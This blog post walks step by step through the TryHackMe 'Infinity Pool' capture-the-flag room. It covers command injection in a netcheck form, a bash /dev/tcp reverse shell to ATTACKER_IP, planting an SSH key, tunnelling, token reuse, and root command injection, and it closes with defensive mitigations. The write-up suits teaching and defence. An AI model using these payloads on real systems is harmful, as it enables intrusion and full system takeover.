DEV Community

Cover image for TryHackMe Infinity Pool -Complete Boot2Root Walkthrough
Md. Ibrahim Reza Rabbi
Md. Ibrahim Reza Rabbi

Posted on

TryHackMe Infinity Pool -Complete Boot2Root Walkthrough

Category: CTF / Boot2Root / Web Exploitation / Linux Privilege Escalation

Platform: TryHackMe

Difficulty: Beginner–Intermediate

Key Techniques: Reconnaissance, Source Code Analysis, OS Command Injection, Reverse Shells, Internal Service Enumeration, Credential Leakage, SSH Port Forwarding, Bearer Token Discovery, Privilege Escalation


Introduction

Infinity Pool is a Linux Boot2Root challenge that demonstrates an important lesson in offensive security:

A system does not always fall because of one critical vulnerability. Sometimes several smaller security mistakes combine into a complete compromise.

The attack chain in this room includes:

Reconnaissance
      ↓
Hidden Endpoint Discovery
      ↓
Command Injection
      ↓
Reverse Shell as web
      ↓
Internal Service Enumeration
      ↓
Credential Disclosure
      ↓
SSH Port Forwarding
      ↓
Authentication Token Discovery
      ↓
Second Command Injection
      ↓
Root
Enter fullscreen mode Exit fullscreen mode

What makes this challenge particularly useful is that every stage introduces a real-world security concept.

By the end of the walkthrough, we will have covered:

  • Nmap reconnaissance
  • robots.txt enumeration
  • JavaScript source-code analysis
  • OS command injection
  • Reverse shells
  • Linux internal enumeration
  • Localhost-only services
  • Gunicorn processes
  • Credential leakage
  • SSH local port forwarding
  • FreePBX UCP
  • Bearer token authentication
  • Command injection in a privileged service
  • Linux privilege escalation
  • Defensive mitigation techniques

1. Reconnaissance

Every penetration test should begin by understanding the target's externally exposed attack surface.

For this walkthrough, I will use:

TARGET_IP=<TARGET_IP>
ATTACKER_IP=<YOUR_VPN_IP>
Enter fullscreen mode Exit fullscreen mode

Replace these placeholders with the addresses assigned to your TryHackMe environment.


1.1 Nmap Scan

Start with a service and operating-system enumeration scan:

nmap -A -Pn $TARGET_IP -oN nmap.txt
Enter fullscreen mode Exit fullscreen mode

Why these options?

Option Purpose
-A Enables service detection, OS detection, default scripts, and traceroute
-Pn Treats the target as online without relying on ICMP discovery
-oN Saves results in normal text format

The scan reveals two externally accessible services:

22/tcp  - SSH
80/tcp  - HTTP
Enter fullscreen mode Exit fullscreen mode

The HTTP service is running behind Gunicorn, strongly suggesting a Python-based web application.

Because the web application exposes considerably more attack surface than SSH, that becomes our initial focus.


2. Web Enumeration

Visit:

http://TARGET_IP/
Enter fullscreen mode Exit fullscreen mode

The application initially appears to be a normal hotel-themed landing page.

Nothing immediately indicates a vulnerability.

This is where basic web enumeration becomes important.


2.1 Always Check robots.txt

One of the first files worth checking on a web application is:

/robots.txt
Enter fullscreen mode Exit fullscreen mode

For example:

curl http://$TARGET_IP/robots.txt
Enter fullscreen mode Exit fullscreen mode

The response contains:

User-agent: *
Allow: /
Disallow: /internal/
Disallow: /status
Enter fullscreen mode Exit fullscreen mode

Two interesting paths immediately appear:

/internal/
/status
Enter fullscreen mode Exit fullscreen mode

Important Concept: robots.txt Is Not Security

A common mistake is treating paths listed inside robots.txt as hidden.

They are not.

robots.txt simply tells compliant search-engine crawlers which resources they should avoid indexing.

Anyone can request the file.

In security testing, entries such as:

Disallow: /admin
Disallow: /backup
Disallow: /internal
Enter fullscreen mode Exit fullscreen mode

can actually become useful enumeration clues.


3. JavaScript Source-Code Analysis

Another important enumeration technique is examining client-side JavaScript.

Open the application's page source and identify referenced JavaScript files.

One interesting file is:

/static/app.js
Enter fullscreen mode Exit fullscreen mode

It can also be downloaded directly:

curl http://$TARGET_IP/static/app.js
Enter fullscreen mode Exit fullscreen mode

Inside the JavaScript is a developer comment similar to:

// TODO(ops): the staff connectivity tool at /status posts to the legacy
// /internal/netcheck handler. Keep it out of the public nav until the new
// auth gateway ships. Disallowed in robots.txt for now.
Enter fullscreen mode Exit fullscreen mode

This is valuable information.

We now know that:

/status
Enter fullscreen mode Exit fullscreen mode

contains a staff connectivity utility that submits data to:

/internal/netcheck
Enter fullscreen mode Exit fullscreen mode

This illustrates an important reconnaissance principle:

Client-side source code should always be considered publicly accessible.

Developer comments, API routes, debugging code, credentials, feature flags, and internal endpoint names frequently leak through JavaScript.


4. Investigating /status

Navigate to:

http://TARGET_IP/status
Enter fullscreen mode Exit fullscreen mode

The page contains a simple connectivity checker.

Its HTML form is effectively:

<form method="post" action="/internal/netcheck">
    <input
        type="text"
        name="host"
        placeholder="property host e.g. 10.0.0.5"
    >
    <button type="submit">Check</button>
</form>
Enter fullscreen mode Exit fullscreen mode

The interesting parameter is:

host
Enter fullscreen mode Exit fullscreen mode

The application apparently accepts a hostname or IP address and performs some type of network connectivity test.

That immediately raises an important question:

Is the application passing this input into an operating-system command such as ping?

If so, insufficient sanitization could create an OS Command Injection vulnerability.


5. OS Command Injection

5.1 What Is Command Injection?

Imagine the backend executes:

ping -c 1 <USER_INPUT>
Enter fullscreen mode Exit fullscreen mode

If we enter:

127.0.0.1
Enter fullscreen mode Exit fullscreen mode

the server executes:

ping -c 1 127.0.0.1
Enter fullscreen mode Exit fullscreen mode

That is expected behavior.

But suppose we submit:

127.0.0.1; id
Enter fullscreen mode Exit fullscreen mode

The resulting shell command becomes:

ping -c 1 127.0.0.1; id
Enter fullscreen mode Exit fullscreen mode

The semicolon terminates the first command and begins another.

The server therefore executes:

id
Enter fullscreen mode Exit fullscreen mode

as well.

This is command injection.


5.2 Testing the host Parameter

We can test the endpoint directly using curl:

curl -X POST \
  http://$TARGET_IP/internal/netcheck \
  -d "host=;id"
Enter fullscreen mode Exit fullscreen mode

The application returns output containing something similar to:

uid=1001(web) gid=1001(web) groups=1001(web)
Enter fullscreen mode Exit fullscreen mode

Success.

The host parameter is vulnerable to OS command injection.

More importantly, we learn that commands execute as:

web
Enter fullscreen mode Exit fullscreen mode

6. Obtaining a Reverse Shell

Running commands through HTTP works, but it quickly becomes inconvenient.

A reverse shell gives us an interactive terminal.

The architecture is:

Attacker
192.168.x.x:4444
        ↑
        │ TCP Connection
        │
Target Server
Enter fullscreen mode Exit fullscreen mode

Instead of our machine connecting to a shell service on the target, the target connects back to us.


6.1 Find Your VPN Address

On the attacker machine:

ip addr
Enter fullscreen mode Exit fullscreen mode

or:

ip a
Enter fullscreen mode Exit fullscreen mode

Identify the IP address belonging to your TryHackMe VPN interface.

Set it:

ATTACKER_IP=<YOUR_VPN_IP>
Enter fullscreen mode Exit fullscreen mode

6.2 Start a Netcat Listener

Open a terminal and run:

nc -lvnp 4444
Enter fullscreen mode Exit fullscreen mode

Parameters

Option Meaning
-l Listen mode
-v Verbose output
-n Disable DNS resolution
-p Specify port

Our attacker machine is now waiting for an incoming connection on:

4444/tcp
Enter fullscreen mode Exit fullscreen mode

6.3 Trigger the Reverse Shell

Send a Bash reverse-shell payload through the vulnerable host parameter:

curl -X POST \
  http://$TARGET_IP/internal/netcheck \
  --data-urlencode \
  "host=;bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'"
Enter fullscreen mode Exit fullscreen mode

If everything works correctly, our Netcat terminal receives a connection.

We now have shell access as:

web
Enter fullscreen mode Exit fullscreen mode

Why --data-urlencode Matters

The reverse-shell payload contains characters such as:

&
>
<
;
Enter fullscreen mode Exit fullscreen mode

These characters can have special meaning inside HTTP form data or the local shell.

Using:

--data-urlencode
Enter fullscreen mode Exit fullscreen mode

allows curl to encode the payload correctly before transmitting it.


7. Upgrade the Shell

The initial reverse shell usually lacks features such as:

  • Proper terminal handling
  • Command history
  • Tab completion
  • Interactive programs
  • Correct Ctrl+C behavior

A quick improvement is:

python3 -c 'import pty; pty.spawn("/bin/bash")'
Enter fullscreen mode Exit fullscreen mode

This creates a pseudo-terminal.

You now have a significantly more usable shell.


8. User Flag

After gaining access, check the current user:

whoami
Enter fullscreen mode Exit fullscreen mode

Then inspect the user's home directory:

ls -la /home/web
Enter fullscreen mode Exit fullscreen mode

The user flag is located at:

/home/web/user.txt
Enter fullscreen mode Exit fullscreen mode

Read it:

cat /home/web/user.txt
Enter fullscreen mode Exit fullscreen mode

Result:

THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

We have completed the initial foothold.

Now the real privilege-escalation investigation begins.


9. Internal Enumeration

Once inside a host, external Nmap results are no longer enough.

Services may be configured to listen exclusively on:

127.0.0.1
Enter fullscreen mode Exit fullscreen mode

These services cannot normally be reached remotely but may become accessible after compromising the machine.


9.1 Inspect Listening Ports

Run:

ss -tulnp
Enter fullscreen mode Exit fullscreen mode

Several localhost-only services appear:

127.0.0.1:3000
127.0.0.1:9000
127.0.0.1:8080
127.0.0.1:5038
127.0.0.1:3306
Enter fullscreen mode Exit fullscreen mode

These ports were invisible during our external Nmap scan because they were bound only to the loopback interface.


Understanding 127.0.0.1

127.0.0.1 represents the local machine.

For example:

0.0.0.0:8080
Enter fullscreen mode Exit fullscreen mode

usually means the service accepts connections through every available interface.

However:

127.0.0.1:8080
Enter fullscreen mode Exit fullscreen mode

means the service can normally only be reached from the same machine.

After obtaining a shell, this boundary becomes much less useful as a security control.


10. Process Enumeration

We need to determine what applications own these ports.

Start by inspecting Python and Gunicorn processes:

ps aux | grep -E "gunicorn|python"
Enter fullscreen mode Exit fullscreen mode

Three particularly interesting services appear:

Service Port User
Public Edge application 80 web
Watchtower operations console 3000 svc-watch
Automation job runner 9000 root

The final entry deserves immediate attention.

Automation Service → root
Enter fullscreen mode Exit fullscreen mode

If we can influence that application into executing commands, those commands could potentially execute with root privileges.


11. Confirming the Privileged Service

Inspect the corresponding systemd unit:

cat /etc/systemd/system/cc-automation.service
Enter fullscreen mode Exit fullscreen mode

The service configuration contains:

User=root
Group=root
Enter fullscreen mode Exit fullscreen mode

This confirms that the automation application executes as the root user.

We have now identified a potentially valuable privilege-escalation target:

127.0.0.1:9000
Enter fullscreen mode Exit fullscreen mode

But first, we need to understand how it is authenticated.


12. Enumerating the Watchtower Service

Another internal service is listening on:

127.0.0.1:3000
Enter fullscreen mode Exit fullscreen mode

From our compromised shell, request its configuration endpoint:

curl http://127.0.0.1:3000/api/config
Enter fullscreen mode Exit fullscreen mode

The API responds with JSON containing several interesting values:

{
  "automation_endpoint": "http://127.0.0.1:9000",
  "ops_note": "UCP still on default template creds (...) -- ROTATE.",
  "telephony_pass": "<REDACTED>",
  "telephony_portal": "http://127.0.0.1:8080/ucp",
  "telephony_user": "<REDACTED>"
}
Enter fullscreen mode Exit fullscreen mode

This is a serious information-disclosure issue.

We have learned:

Automation service → http://127.0.0.1:9000
Telephony portal   → http://127.0.0.1:8080/ucp
Username           → leaked
Password           → leaked
Enter fullscreen mode Exit fullscreen mode

The configuration also explicitly warns that the credentials should have been rotated.

That never happened.


13. Security Lesson: Internal Does Not Mean Safe

Developers sometimes assume:

“This endpoint is only accessible from localhost, so exposing secrets there is acceptable.”

That assumption is dangerous.

Once an attacker gains even low-privilege access to the host, localhost-only endpoints become accessible.

This challenge demonstrates why internal APIs still require:

  • Authentication
  • Authorization
  • Secret management
  • Least privilege
  • Proper network segmentation

14. Accessing the Internal UCP Application

The leaked credentials point toward:

http://127.0.0.1:8080/ucp
Enter fullscreen mode Exit fullscreen mode

The interface is a browser-based application.

While interacting with it entirely through curl might be possible, modern web applications commonly involve:

  • Sessions
  • CSRF tokens
  • JavaScript
  • Multiple requests
  • Client-side navigation

Using the browser is easier.

But the service only listens on the target's localhost interface.

We therefore need SSH port forwarding.


15. SSH Local Port Forwarding

SSH tunneling lets us expose the target's localhost service on our own machine.

Conceptually:

Browser
127.0.0.1:8080
      │
      ▼
SSH Tunnel
      │
      ▼
Target
127.0.0.1:8080
Enter fullscreen mode Exit fullscreen mode

15.1 Configure SSH Access

Since we already have shell access as web, we can place our own public SSH key into that account.

First create an SSH key on Kali if you do not already have one:

ssh-keygen -t ed25519
Enter fullscreen mode Exit fullscreen mode

Then display the public key:

cat ~/.ssh/id_ed25519.pub
Enter fullscreen mode Exit fullscreen mode

On the target:

mkdir -p ~/.ssh
Enter fullscreen mode Exit fullscreen mode

Append your public key:

echo "<YOUR_PUBLIC_KEY>" >> ~/.ssh/authorized_keys
Enter fullscreen mode Exit fullscreen mode

Correct the permissions:

chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
Enter fullscreen mode Exit fullscreen mode

15.2 Create the Tunnel

From Kali:

ssh -i ~/.ssh/id_ed25519 \
  -L 8080:127.0.0.1:8080 \
  web@$TARGET_IP \
  -N
Enter fullscreen mode Exit fullscreen mode

Understanding the Command

The important part is:

-L 8080:127.0.0.1:8080
Enter fullscreen mode Exit fullscreen mode

This means:

My Kali port 8080
        ↓
SSH tunnel
        ↓
Target's 127.0.0.1:8080
Enter fullscreen mode Exit fullscreen mode

-N tells SSH that we only want port forwarding and do not need an interactive SSH shell.


16. Accessing FreePBX UCP

With the SSH tunnel running, open:

http://127.0.0.1:8080/ucp/
Enter fullscreen mode Exit fullscreen mode

in your local browser.

Authenticate using the credentials discovered from the Watchtower configuration endpoint.

Username: <RECOVERED_USERNAME>
Password: <RECOVERED_PASSWORD>
Enter fullscreen mode Exit fullscreen mode

Authentication succeeds.


17. Discovering the Automation Token

Inside the UCP dashboard, inspect the available widgets.

Add the:

Voicemail
Enter fullscreen mode Exit fullscreen mode

widget.

Select the appropriate mailbox.

A voicemail exists from extension:

9000
Enter fullscreen mode Exit fullscreen mode

The caller-ID metadata contains something similar to:

Automation Key <REDACTED_TOKEN>
Enter fullscreen mode Exit fullscreen mode

This appears highly significant because the privileged automation application is also listening on:

9000
Enter fullscreen mode Exit fullscreen mode

The value is the Bearer authentication token required by the automation API.

We have now obtained:

Automation API endpoint
        +
Bearer authentication token
        =
Authenticated access to root-owned service
Enter fullscreen mode Exit fullscreen mode

18. What Is a Bearer Token?

A Bearer token is an authentication credential commonly sent through the HTTP Authorization header.

Example:

Authorization: Bearer TOKEN_VALUE
Enter fullscreen mode Exit fullscreen mode

Anyone possessing the token may be treated as an authenticated client.

This is why authentication tokens must be protected similarly to passwords.

In this challenge, placing the token inside user-visible voicemail metadata effectively exposes the authentication secret.


19. Enumerating the Automation Service

The automation application exposes:

/jobs/export
Enter fullscreen mode Exit fullscreen mode

The endpoint accepts a parameter named:

report
Enter fullscreen mode Exit fullscreen mode

Internally, the service constructs a command resembling:

tar czf /var/automation/exports/<report>.tgz /var/automation/data
Enter fullscreen mode Exit fullscreen mode

This design should immediately look familiar.

A user-controlled parameter is being inserted into a shell command.

That creates another potential command injection vulnerability.

There is one major difference from our first injection:

First vulnerable service  → web
Second vulnerable service → root
Enter fullscreen mode Exit fullscreen mode

If the second endpoint is exploitable, we can escalate directly to root.


20. Testing the Second Command Injection

Send an authenticated request to the automation service:

curl -s -X POST \
  http://127.0.0.1:9000/jobs/export \
  -H "Authorization: Bearer <AUTOMATION_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"report":"x.tgz /var/automation/data; id #"}'
Enter fullscreen mode Exit fullscreen mode

The injected portion is:

; id #
Enter fullscreen mode Exit fullscreen mode

Let's break it down.

;

Terminates the original command.

id

Executes:

id
Enter fullscreen mode Exit fullscreen mode

#

Comments out the remaining shell command.

The server's resulting command becomes conceptually similar to:

tar czf /var/automation/exports/x.tgz /var/automation/data; id # ...
Enter fullscreen mode Exit fullscreen mode

The output contains:

uid=0(root) gid=0(root) groups=0(root)
Enter fullscreen mode Exit fullscreen mode

We have achieved command execution as:

root
Enter fullscreen mode Exit fullscreen mode

Privilege escalation is complete.


21. Reading the Root Flag

Because commands now execute as root, we can read:

/root/root.txt
Enter fullscreen mode Exit fullscreen mode

through the vulnerable endpoint:

curl -s -X POST \
  http://127.0.0.1:9000/jobs/export \
  -H "Authorization: Bearer <AUTOMATION_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"report":"x.tgz /var/automation/data; cat /root/root.txt #"}'
Enter fullscreen mode Exit fullscreen mode

The response contains:

THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Root obtained.


22. Complete Attack Chain

The entire compromise can now be summarized as:

                ┌─────────────────────┐
                │     Nmap Recon      │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │     robots.txt      │
                │ /internal + /status │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ JavaScript Analysis │
                │ /internal/netcheck  │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ Command Injection #1│
                │       host=;id      │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ Reverse Shell: web  │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ Internal Enumeration│
                │ 3000 / 8080 / 9000  │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ Watchtower API Leak │
                │   UCP Credentials   │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │  SSH Port Forward   │
                │ 8080 → FreePBX UCP  │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ Voicemail Metadata  │
                │ Automation Token    │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ Command Injection #2│
                │ Root Automation API │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │        ROOT         │
                └─────────────────────┘
Enter fullscreen mode Exit fullscreen mode

23. Vulnerability Chain

From a vulnerability-management perspective, the challenge contains several independent security problems.

Stage Weakness Impact
Recon Sensitive endpoints exposed through robots.txt Information disclosure
Source analysis Internal routes exposed in JavaScript comments Information disclosure
Netcheck Unsanitized shell input Remote command execution
Watchtower Credentials returned through API Credential disclosure
UCP Default/template credentials remained active Unauthorized access
Voicemail Authentication secret stored in visible metadata Token disclosure
Automation Unsanitized shell command construction Command execution
Service permissions Automation runs as root Full system compromise

The important observation is that several vulnerabilities had to be chained together.


24. Why the Attack Worked

The challenge demonstrates a recurring real-world pattern:

Minor Information Leak
        +
Weak Input Validation
        +
Credential Mismanagement
        +
Excessive Privileges
        =
Critical Compromise
Enter fullscreen mode Exit fullscreen mode

No single defensive control was strong enough to stop the attack after the initial foothold.

This is why security should rely on defense in depth rather than one protection mechanism.


25. Defensive Analysis

Let's examine how each vulnerability could have been prevented.


25.1 Never Pass Untrusted Input Directly to a Shell

Unsafe Python code might resemble:

subprocess.run(
    f"ping -c 1 {host}",
    shell=True
)
Enter fullscreen mode Exit fullscreen mode

If host contains:

127.0.0.1; id
Enter fullscreen mode Exit fullscreen mode

the shell interprets the injected command.

A safer approach is:

subprocess.run([
    "ping",
    "-c",
    "1",
    host
])
Enter fullscreen mode Exit fullscreen mode

Here the arguments are passed directly to the executable rather than being interpreted by a shell.

Even then, input validation should still be implemented.


25.2 Validate Hostnames and IP Addresses

If an application expects an IP address, verify that the supplied value is actually an IP address.

For Python:

import ipaddress

ip = ipaddress.ip_address(user_input)
Enter fullscreen mode Exit fullscreen mode

The application should reject unexpected characters rather than attempting to sanitize arbitrary shell syntax.


25.3 Do Not Treat robots.txt as Access Control

This:

Disallow: /internal/
Enter fullscreen mode Exit fullscreen mode

does not prevent a user from requesting:

/internal/
Enter fullscreen mode Exit fullscreen mode

Sensitive endpoints should instead be protected by:

  • Authentication
  • Authorization
  • Network controls
  • Application-level access policies

25.4 Remove Sensitive Developer Comments

Comments such as:

// internal endpoint is /internal/netcheck
Enter fullscreen mode Exit fullscreen mode

may appear harmless.

But client-side JavaScript is public.

Production builds should avoid exposing unnecessary:

  • Internal architecture
  • Debugging details
  • Development URLs
  • Secrets
  • Credentials
  • Administrative paths

25.5 Never Expose Credentials Through Configuration APIs

An endpoint such as:

/api/config
Enter fullscreen mode Exit fullscreen mode

should not return:

{
  "username": "...",
  "password": "..."
}
Enter fullscreen mode Exit fullscreen mode

even when bound to localhost.

Instead use a dedicated secrets-management solution such as:

  • Environment variables
  • Secret stores
  • Vault systems
  • Cloud secret managers
  • Restricted configuration files

25.6 Rotate Default Credentials

The challenge explicitly demonstrates the danger of forgotten template credentials.

Default credentials should be rotated:

Immediately after deployment
Enter fullscreen mode Exit fullscreen mode

not:

Eventually
Enter fullscreen mode Exit fullscreen mode

A warning comment saying:

ROTATE
Enter fullscreen mode Exit fullscreen mode

provides no security if nobody actually performs the rotation.


25.7 Protect Authentication Tokens Like Passwords

Bearer tokens should never appear in:

  • Caller ID
  • Voicemail metadata
  • Debugging messages
  • Application logs
  • URLs
  • Client-side JavaScript
  • Error responses

Possession of a Bearer token may be enough to impersonate an authenticated user or service.


26. Principle of Least Privilege

One of the largest design mistakes is the automation service running as:

root
Enter fullscreen mode Exit fullscreen mode

Ask:

Does creating an archive genuinely require unrestricted root privileges?

Probably not.

The service should run under a dedicated account such as:

automation
Enter fullscreen mode Exit fullscreen mode

with access limited to only:

/var/automation/data
/var/automation/exports
Enter fullscreen mode Exit fullscreen mode

Even if command injection were then discovered, the attacker would compromise only the restricted automation account rather than immediately becoming root.

This is the Principle of Least Privilege.


27. Important Commands Used

For quick reference:

Nmap

nmap -A -Pn TARGET_IP -oN nmap.txt
Enter fullscreen mode Exit fullscreen mode

Check robots.txt

curl http://TARGET_IP/robots.txt
Enter fullscreen mode Exit fullscreen mode

Test Initial Command Injection

curl -X POST \
  http://TARGET_IP/internal/netcheck \
  -d "host=;id"
Enter fullscreen mode Exit fullscreen mode

Netcat Listener

nc -lvnp 4444
Enter fullscreen mode Exit fullscreen mode

Reverse Shell

curl -X POST \
  http://TARGET_IP/internal/netcheck \
  --data-urlencode \
  "host=;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
Enter fullscreen mode Exit fullscreen mode

Upgrade Shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
Enter fullscreen mode Exit fullscreen mode

Enumerate Listening Services

ss -tulnp
Enter fullscreen mode Exit fullscreen mode

Enumerate Gunicorn/Python Processes

ps aux | grep -E "gunicorn|python"
Enter fullscreen mode Exit fullscreen mode

Query Watchtower

curl http://127.0.0.1:3000/api/config
Enter fullscreen mode Exit fullscreen mode

SSH Port Forward

ssh -i ~/.ssh/id_ed25519 \
  -L 8080:127.0.0.1:8080 \
  web@TARGET_IP \
  -N
Enter fullscreen mode Exit fullscreen mode

Test Privileged Command Injection

curl -s -X POST \
  http://127.0.0.1:9000/jobs/export \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"report":"x.tgz /var/automation/data; id #"}'
Enter fullscreen mode Exit fullscreen mode

28. Key Lessons

This room teaches several important lessons that apply far beyond CTFs.

1. Enumeration Is Often More Important Than Exploitation

The path started with simple observations:

robots.txt
      ↓
JavaScript
      ↓
Hidden endpoint
Enter fullscreen mode Exit fullscreen mode

There was no need to immediately launch large automated scanners.


2. Source Code Is Part of the Attack Surface

Anything delivered to the browser should be treated as public information.

That includes:

HTML
CSS
JavaScript
Source maps
Comments
API URLs
Configuration objects
Enter fullscreen mode Exit fullscreen mode

3. Internal Services Still Need Security

Binding a service to:

127.0.0.1
Enter fullscreen mode Exit fullscreen mode

reduces exposure but does not replace authentication or authorization.

Once an attacker gains local access, localhost services become reachable.


4. Credential Leaks Create Attack Chains

The Watchtower API did not directly provide root access.

Instead it exposed another credential.

That credential unlocked another application.

That application exposed another secret.

That secret unlocked the root-owned automation service.

Real compromises frequently look exactly like this:

Information
     ↓
Credential
     ↓
Access
     ↓
More Information
     ↓
Higher Privilege
Enter fullscreen mode Exit fullscreen mode

5. Command Injection Becomes Far Worse With Privilege

The first command injection executed as:

web
Enter fullscreen mode Exit fullscreen mode

The second executed as:

root
Enter fullscreen mode Exit fullscreen mode

The vulnerability class was almost identical.

The impact was completely different because of the service's privileges.


29. MITRE ATT&CK Perspective

The attack chain can also be loosely mapped to common adversary techniques:

Activity Technique
Web reconnaissance Network / service discovery
Endpoint discovery Application reconnaissance
Command injection Command and scripting interpreter
Reverse shell Command and control
Process enumeration Process discovery
Listening-port enumeration Network service discovery
Credential disclosure Unsecured credentials
SSH tunneling Proxy / tunneling
Token abuse Valid authentication material
Root execution Privilege escalation

Thinking in terms of attack techniques rather than individual commands helps build transferable cybersecurity knowledge.


30. Final Attack Path

The shortest representation of the solution is:

Nmap
  ↓
robots.txt
  ↓
/status
  ↓
JavaScript reveals /internal/netcheck
  ↓
Command injection
  ↓
Shell as web
  ↓
Internal service enumeration
  ↓
Watchtower /api/config
  ↓
UCP credentials
  ↓
SSH tunnel → localhost:8080
  ↓
FreePBX UCP
  ↓
Voicemail leaks automation token
  ↓
Authenticated request to localhost:9000
  ↓
Second command injection
  ↓
ROOT
Enter fullscreen mode Exit fullscreen mode

Conclusion

Infinity Pool is an excellent example of why penetration testing is fundamentally about connecting pieces of information.

The initial command injection did not immediately give us root.

Instead, we had to investigate the environment:

Find hidden functionality
      ↓
Exploit weak input handling
      ↓
Enumerate internal services
      ↓
Discover leaked credentials
      ↓
Pivot into another application
      ↓
Recover an authentication token
      ↓
Exploit a privileged backend
Enter fullscreen mode Exit fullscreen mode

Each mistake on its own might have appeared relatively small.

Together, they created a complete compromise.

The biggest lesson from the challenge is simple:

Security failures compound.

A forgotten developer comment, an internal credential leak, a poorly protected token, an unsafe shell command, and an unnecessarily privileged service can transform a small foothold into total system compromise.

From a defensive perspective, the solution is equally clear:

  • Validate all untrusted input.
  • Avoid shell command construction.
  • Protect internal services.
  • Remove hardcoded and leaked secrets.
  • Rotate default credentials.
  • Treat authentication tokens as sensitive secrets.
  • Apply least privilege everywhere.
  • Assume an attacker will eventually reach internal components.

Understanding how these weaknesses connect is what turns individual vulnerability knowledge into real penetration-testing methodology.


Challenge Status

[✓] Reconnaissance
[✓] Hidden endpoint discovery
[✓] Command injection
[✓] Initial foothold
[✓] User flag
[✓] Internal enumeration
[✓] Credential discovery
[✓] Internal application pivoting
[✓] Authentication token discovery
[✓] Privilege escalation
[✓] Root flag
Enter fullscreen mode Exit fullscreen mode

Tags

#cybersecurity #tryhackme #ctf #pentesting #linux #websecurity #ethicalhacking #infosec


If you're learning penetration testing, don't focus only on memorizing payloads. Focus on understanding why each step works, what information it reveals, and how that information creates the next step in the attack chain.

Happy hacking — responsibly. 🔐

Top comments (0)